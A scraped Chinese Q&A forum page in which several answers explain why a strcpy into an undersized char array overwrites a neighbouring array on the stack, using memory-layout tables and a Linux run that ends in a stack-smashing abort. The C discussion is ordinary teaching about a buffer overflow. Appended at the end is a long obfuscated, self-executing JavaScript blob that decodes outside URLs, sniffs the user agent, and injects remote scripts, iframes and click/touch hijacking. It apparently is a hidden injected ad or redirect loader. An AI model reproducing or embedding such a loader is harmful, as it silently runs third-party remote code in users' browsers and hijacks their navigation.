求高手帮我解释一下下面这个程序:(想破脑袋也不明白!!急急!!)
推荐回答(5个)
C语言的局部变量默认为自动变量。
而自动变量默认是在“栈”上。之所以出现"123456789,56789"这样的输出,是
因为在你的系统下“栈”是由高地址向低地址增长的。所以d的地址比s的地址要低,在自负串拷贝超出d范围时,就会覆盖位于高地址的s. 因为d还有一个字符串标志"\0", 所以d的地址比s地址低4个字节。所以超出4个字节的部分(56789)会覆盖d.
把代码改成这样,看得会更清楚:
int main(void)
{
char s[] = "123456789";
char d[] = "123";
printf("%p %s\n", s, s);
printf("%p %s\n", d, d);
strcpy(d, s);
printf("%s,%s\n",d,s);
return 0;
}
0022FF40 123456789
0022FF3C 123
123456789,56789
这里地址在不同的系统下可能不同,但一般32位win下相对地址是一样的,地址差是4。以这里的输出为例子,
可见栈的结构是:
...
0022FF48 9
0022FF47 8
0022FF46 7
0022FF45 6
0022FF44 5
0022FF43 4
0022FF42 3
0022FF41 2
0022FF40 1 /* s开始 */
0022FF3F \0
0022FF3E 3
0022FF3D 2
0022FF3C 1 /* d开始 */
拷贝发生时,从0022FF3C开始覆盖123456789, 可见1234覆盖了0022FF3C- 0022FF3F四个字节, 这四个字节属于d的范围. 56789\0覆盖了 0022FF40 - 0022FF45 六个字节,这六个字节属于s的范围。 这样内存变为:
0022FF48 9
0022FF47 8
0022FF46 7
0022FF45 \0
0022FF44 9
0022FF43 8
0022FF42 7
0022FF41 6
0022FF40 5 /* s开始 */
0022FF3F 4
0022FF3E 3
0022FF3D 2
0022FF3C 1 /* d开始 */
可见, d的'\0'被覆盖,从0022FF3C开始,第一个字符串结束标志位于0022FF45, printf("%s\n", d)会输出完整的字符串"123456789"。而printf("%s\n", s);则会从0022FF40开始输出直到在0022FF45遇到'\0', 于是会输出s被覆盖的六个字节"56789".这就解释了为何printf("%s, %s\n", d, s)会输出123456789,56789,
溢出了而已 看不明白么 ? 年轻人
123456789,56789
Press any key to continue
本来d只能容纳4个(加结束符) 结果一下子9个 溢出的 5个就把s的内容抹掉了因为56789 9后面有结束符 因此看到s是56789 实际上s是 56789\0789\0
看我下面程序和结果
123456789,56789
[5][6][7][8][9][ ][7][8][9][ ]
Press any key to continue
#include
#include
int main(void)
{
int i;
char s[] = "123456789";
char d[] = "123";
strcpy(d, s);
printf("%s,%s\n",d,s);
for (i=0;i<10;i++)
{
printf("[%c]",s[i]);
}
return 0;
}
这个是一个数组越界问题,我在linux中运行了,结果如下:
#include
#include
#include
int main(void)
{
char s[] = "123456789";
char d[] = "123";
strcpy(d, s);
printf("%s,%s\n",d,s);
return 0;
}
~
~
~
~
"test.c" 32L, 632C written
feng@linux:~$ gcc -Wall -g test.c
feng@linux:~$ ./a.out
123456789,123456789
*** stack smashing detected ***: ./a.out terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7665dd5]
/lib/i386-linux-gnu/libc.so.6(+0xffd8a)[0xb7665d8a]
./a.out[0x80484e0]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb757f4d3]
./a.out[0x80483d1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 262286 /home/feng/a.out
08049000-0804a000 r--p 00000000 08:01 262286 /home/feng/a.out
0804a000-0804b000 rw-p 00001000 08:01 262286 /home/feng/a.out
092c0000-092e1000 rw-p 00000000 00:00 0 [heap]
b7537000-b7553000 r-xp 00000000 08:01 1311668 /lib/i386-linux-gnu/libgcc_s.so.1
b7553000-b7554000 r--p 0001b000 08:01 1311668 /lib/i386-linux-gnu/libgcc_s.so.1
b7554000-b7555000 rw-p 0001c000 08:01 1311668 /lib/i386-linux-gnu/libgcc_s.so.1
b7565000-b7566000 rw-p 00000000 00:00 0
b7566000-b7705000 r-xp 00000000 08:01 1311647 /lib/i386-linux-gnu/libc-2.15.so
b7705000-b7707000 r--p 0019f000 08:01 1311647 /lib/i386-linux-gnu/libc-2.15.so
b7707000-b7708000 rw-p 001a1000 08:01 1311647 /lib/i386-linux-gnu/libc-2.15.so
b7708000-b770b000 rw-p 00000000 00:00 0
b7719000-b771d000 rw-p 00000000 00:00 0
b771d000-b771e000 r-xp 00000000 00:00 0 [vdso]
b771e000-b773e000 r-xp 00000000 08:01 1311627 /lib/i386-linux-gnu/ld-2.15.so
b773e000-b773f000 r--p 0001f000 08:01 1311627 /lib/i386-linux-gnu/ld-2.15.so
b773f000-b7740000 rw-p 00020000 08:01 1311627 /lib/i386-linux-gnu/ld-2.15.so
bfaf2000-bfb13000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();